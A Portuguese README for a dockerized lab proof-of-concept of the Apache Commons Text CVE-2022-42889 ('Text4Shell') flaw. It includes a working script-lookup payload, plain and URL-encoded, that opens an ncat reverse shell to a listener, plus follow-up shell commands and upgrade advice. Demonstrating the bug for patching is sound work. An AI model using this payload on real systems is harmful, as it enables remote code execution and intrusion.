
Uma aplicação dockerize simples que mostra como explorar a vulnerabilidade CVE-2022-42889.
Prova de Conceito para a vulnerabilidade Apache commons-text CVE-2022-42889.
O Apache Commons Text realiza interpolação de variáveis, permitindo que propriedades sejam avaliadas e expandidas dinamicamente. O formato padrão para interpolação é "${prefix:name}", onde "prefix" é usado para localizar uma instância de org.apache.commons.text.lookup.StringLookup que realiza a interpolação. A partir da versão 1.5 até a 1.9, o conjunto de instâncias Lookup padrão incluía interpoladores que poderiam resultar em execução arbitrária de código ou contato com servidores remotos. Esses lookups são: - "script" - executar expressões usando o mecanismo de execução de script da JVM (javax.script) - "dns" - resolver registros dns - "url" - carregar valores de urls, incluindo de servidores remotos. Aplicações que usam os padrões de interpolação nas versões afetadas podem estar vulneráveis à execução remota de código ou contato não intencional com servidores remotos se valores de configuração não confiáveis forem usados.
Apache Commons Text Versão 1.5 a 1.9
CVE-2022-42889-POC:docker build --tag=test/text4shell .
docker run -it -p 80:8080 --name text4shell test/text4shell
docker exec -it text4shell /bin/bash
nc -nlvp 8888
curl http://localhost/text4shell/attack?search=<anything>
O ataque pode ser realizado passando uma string "${prefix:name}" onde o prefixo é o lookup mencionado: ${script:javascript:java.lang.Runtime.getRuntime().exec('ncat -e /bin/bash 172.17.0.1 8888')}
curl http://localhost/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27ncat%20-e%20%2Fbin%2Fbash%20172.17.0.1%208888%27%29%7D
pwd
cd /root
pwd
ls
pwd
cd /root
pwd
ls
touch hacked.txt
ls
pwd
ls
Se você conseguir ver o arquivo hacked.txt na Aba do Terminal 3 após o comando ls, o ataque foi executado.

Recomenda-se que os usuários atualizem para o Apache Commons Text 1.10.0, que desabilita os interpoladores problemáticos por padrão.